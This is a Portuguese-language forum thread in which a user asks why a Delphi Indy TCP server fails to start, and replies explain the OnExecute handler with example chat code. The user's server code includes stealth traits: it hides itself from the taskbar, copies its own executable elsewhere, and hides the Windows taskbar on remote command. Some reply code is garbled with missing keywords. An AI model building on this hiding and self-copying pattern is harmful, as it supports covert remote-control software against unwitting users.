Jump to content
Fórum Script Brasil
  • 0

Ajuda na criação de cliente/servidor


bloodnick2015
 Share

Question

Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro: 

 

imagem.png

Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.

O código do servidor:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; 

type 
  TForm1 = class(TForm) 
    mensagem: TIdTCPServer; 
    hidebar: TIdTCPServer; 
    Memo1: TMemo; 
    Memo2: TMemo; 
    procedure mensagemConnect(AContext: TIdContext); 
    procedure Memo1Change(Sender: TObject); 
    procedure hidebarConnect(AContext: TIdContext); 
    procedure Memo2Change(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.FormCreate(Sender: TObject); 
type 
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; 
var 
Handle: THandle; 
RegisterServiceProcess: TRegisterServiceProcess; 
a : String; 
begin 
//*** Nao aparece na barra *********************************************** 
SetWindowLong(Application.Handle, GWL_EXSTYLE, 
GetWindowLong(Application.Handle, GWL_EXSTYLE) or 
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); 

a := Application.ExeName; 
If not FileExists('C:\') then 
  Begin 
    CopyFile(Pchar(a), Pchar('C:\'), False); 
  End; 

end; 

procedure TForm1.hidebarConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo2.Lines.Add(Readln) 
  end; 
  memo2.Text := ''; 
end; 

procedure TForm1.Memo1Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo1.Lines[0]; 
ShowMessage(a); 
end; 

procedure TForm1.Memo2Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo2.Lines[0]; 
  if a = 'esconder' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); 
  if a = 'mostrar' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); 
end; 

procedure TForm1.mensagemConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo1.Lines.Add(Readln) 
  end; 
  memo1.Text := ''; 
end; 

end.

O código do cliente:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdTCPConnection, IdTCPClient; 

type 
  TForm1 = class(TForm) 
    GroupBox1: TGroupBox; 
    GroupBox2: TGroupBox; 
    GroupBox3: TGroupBox; 
    IP: TEdit; 
    Edit1: TEdit; 
    Button1: TButton; 
    ComboBox1: TComboBox; 
    Button2: TButton; 
    mensagem: TIdTCPClient; 
    hidebar: TIdTCPClient; 
    procedure Button1Click(Sender: TObject); 
    procedure mensagemConnected(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure hidebarConnected(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
mensagem.Host := IP.Text; 
mensagem.Connect; 
end; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
hidebar.Host := Edit1.Text; 
hidebar.Connect; 
end; 

procedure TForm1.hidebarConnected(Sender: TObject); 
begin 
With hidebar Do 
  Begin 
    WriteLn(Combobox1.Text); 
    Disconnect; 
  End; 
end; 

procedure TForm1.mensagemConnected(Sender: TObject); 
begin 
With mensagem Do 
  Begin 
    WriteLn(Edit1.Text); 
    Disconnect; 
  End; 
end; 

end.

 

Edited by bloodnick2015
Link to comment
Share on other sites

8 answers to this question

Recommended Posts

  • 0

Com relação ao Erro:

O TIdTCPServer requer um OnExecute ( manipulador de eventos a ser atribuído. )

O TIdCustomTCPServer não.

A única diferença entre os dois é que TIdTCPServer executa o evento OnExecute , e exige que ele seja atribuído antes do servidor poder ser ativado.

abraço

 

Link to comment
Share on other sites

  • 0

Com relação ao Erro:

O TIdTCPServer requer um OnExecute ( manipulador de eventos a ser atribuído. )

O TIdCustomTCPServer não.

A única diferença entre os dois é que TIdTCPServer executa o evento OnExecute , e exige que ele seja atribuído antes do servidor poder ser ativado.

abraço

 

E como uso o OnExecute?

Link to comment
Share on other sites

  • 0
Link to comment
Share on other sites

  • 0

Eu não sei qual parte é o OnExecuteOnExecute.

Link to comment
Share on other sites

  • 0

no componente TIdTCPServer, vá em propriedades e clique 2 vezes no evento OnExecute

vai ficar algo tipo :  ( alguns exemplos )

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  Cmd: String;
begin
  Cmd := AContext.Connection.IOHandler.ReadLn;
  ...
  if (Command is Successful) then
    AContext.Connection.IOHandler.WriteLn('200 ' + ...);
  else
    AContext.Connection.IOHandler.WriteLn('500 Some Error Text here');
end;

===========================================================================

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  s: string;
  i: Integer;
begin
  with AContext.Connection.IOHandler do
  try
    WriteLn('Type an integer and Enter');
    s := ReadLn;
    try
      i := StrToInt(s);
      WriteLn(s + ' squared is ' + IntToStr(i*i));
    except
      WriteLn(s + ' is not an integer');
    end;
  finally
    Free;
  end;
end;

================================================================

um exemplo mais completo

Server:
 

type
  TClient = (TIdContext)
  
    UserName: String;
    Queue: TIdThreadSafeStringList;
  end;
 
constructor TClient.Create(AConnection: TIdTCPConnection; AYarn: TIdYarn; 
AList: TIdContextThreadList = nil);
begin
  inherited;
  Queue := TIdThreadSafeStringList.Create;
end;
 
destructor TClient.Destroy;
begin
  Queue.Free;
  inherited;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTCPServer1.ContextClass := TClient;
end;
 
procedure TForm1.IdTCPServer1Connect(AContext: TIdContext);
begin
  AContext.Connection.IOHandler.DefStringEncoding := IndyTextEncoding_UTF8;
  TClient(AContext).UserName := AContext.Connection.IOHandler.ReadLn;
end;
 
procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  Client: TClient;
  List, TempList: TStringList;
  S: String;
  I: Integer;
begin
  Client := TClient(AContext);
 
  TempList := nil;
  
    List := Client.Queue.Lock;
    
       List.Count > 0 
      begin
        TempList := TStringList.Create;
        TempList.Assign(List);
        List.Clear;
      end;
    
      Queue.Unlock;
    end;
     TempList <> nil then
    begin
       I := 0 to TempList.Count-1 
      begin
        S := TempList;
        AContext.Connection.IOHandler.WriteLn(S);
        TThread.Queue(nil,
          procedure
          begin
            Memo1.Lines.Add( + Client.UserName +  + S);
          end
        );
      end;
    end;
  
    TempList.Free;
  end;
 
   AContext.Connection.IOHandler.InputBufferIsEmpty then
    AContext.Connection.IOHandler.CheckForDataOnSource(100);
 
   not AContext.Connection.IOHandler.InputBufferIsEmpty then
  begin
    S := AContext.Connection.IOHandler.ReadLn;
    TThread.Queue(nil,
      procedure
      begin
        Form1.Memo1.Lines.Add( + Client.UserName +  + S);
      end
    );
  end;
end;
 
procedure TForm1.SendMessageToClient( AUserName, AMsg: String);
var
  List: TIdContextList;
  I: Integer;
  Client: TClient;
  AllClients: Boolean;
begin
  AllClients := (AUserName = );
  List := IdTCPServer1.Contexts.LockList;
  
     I := 0 to List.Count-1 
    begin
      Client := TClient(List);
       AllClients or TextIsSame(Client.UserName, AUserName) then
      begin
        Client.Queue.Add(AMsg);
         not AllClients then
          Break;
      end;
    end;
  
    IdTCPServer1.Contexts.UnlockList;
  end;
end;
 
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
  User: String;
begin
   Key = #13 then
  begin
    Key := #0;
    SendMessageToClient(UserName.Text, Edit1.Text);
    Edit1.Clear;
  end;
end;

 

Client:
 

type
  TClientThread = (TThread)
  
    Conn: TIdTCPClient;
    procedure Execute; override;
  
    Queue: TIdThreadSafeStringList;
    constructor Create; reintroduce;
    destructor Destroy; override;
    procedure SendMessageToServer( AMsg: string);
  end;
 
constructor TClientThread.Create;
begin
  inherited Create(False);
  Conn := TIdTCPClient.Create;
  Conn.Host := ...;
  Conn.Port := ...;
  Conn.ConnectTimeout := 5000;
  ...
  Queue := TIdThreadSafeStringList.Create;
end;
 
destructor TClientThread.Destroy;
begin
  Conn.Free;
  Queue.Free;
  inherited;
end;
 
procedure TClientThread.Execute;
var
  Client: TClient;
  List, TempList: TStringList;
  S: String;
begin
   not Terminated 
  begin
    
      Conn.Connect;
    except
      TThread.Queue(nil,
        procedure
          Form1.Memo1.Lines.Add();
        end
      );
      I := 5;
       (not Terminated) and (I > 0) 
      begin
        Sleep(1000);
        Dec(I);
      end;
      Continue;
    end;
 
    
      
        TThread.Queue(nil,
          procedure
            Form1.Memo1.Lines.Add();
          end
        );
 
        Queue.Clear;
 
        Conn.IOHandler.DefStringEncoding := IndyTextEncoding_UTF8;
        Conn.IOHandler.WriteLn();
 
         not Terminated 
        begin
          TempList := nil;
          
            List := Queue.Lock;
            
               List.Count > 0 then
              begin
                TempList := TStringList.Create;
                TempList.Assign(List);
                List.Clear;
              end;
            
              Queue.Unlock;
            end;
             TempList <> nil then
            begin
               I := 0 to TempList.Count-1 
              begin
                 Terminated then Break;
                Conn.IOHandler.WriteLn(TempList);
                TThread.Queue(nil,
                  procedure
                    Form1.Memo1.Lines.Add( + TempList);
                  end
                );
              end;
            end;
          
            TempList.Free;
          end;
 
           Conn.IOHandler.InputBufferIsEmpty and (not Terminated) then
            Conn.IOHandler.CheckForDataOnSource(100);
 
           (not Conn.IOHandler.InputBufferIsEmpty) and (not Terminated) 
then
          begin
            S := Conn.IOHandler.ReadLn;
            TThread.Queue(nil,
              procedure
              begin
                Form1.Memo1.Lines.Add( + S);
              end
            );
          end;
        end;
      
        Conn.Disconnect;
        TThread.Queue(nil,
          procedure
            Form1.Memo1.Lines.Add();
          end
        );
      end;
    except
      TThread.Queue(nil,
        procedure
          Form1.Memo1.Lines.Add();
        end
      );
    end;
  end;
end;
 
procedure TClientThread.SendMessageToServer( AMsg: string);
begin
  Queue.Add(AMsg);
end;
 
var
  Thread: TClientThread = nil;
 
procedure TForm1.ConnectButtonClick(Sender: TObject);
begin
   Thread = nil then
    Thread := TClientThread.Create;
end;
 
procedure TForm1.DisconnectButtonClick(Sender: TObject);
begin
   Thread <> nil then
  begin
    Thread.Terminate;
    Thread.WaitFor;
    FreeAndNil(Thread);
  end;
end;
 
procedure TForm1.Edit1KeyPress(AContext: TIdContext; var Key: Char);
var
  S: String;
begin
   Key = #13 then
  begin
    Key := #0;
     Thread <> nil then
      Thread.SendMessageToServer(Edit1.Text);
    Edit1.Clear;
  end;
end;

===============================================================

OBS: O código que vai no evento OnExecute depende do que voce esta querendo fazer

abraço

 

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share



  • Forum Statistics

    • Total Topics
      149.9k
    • Total Posts
      646.8k
×
×
  • Create New...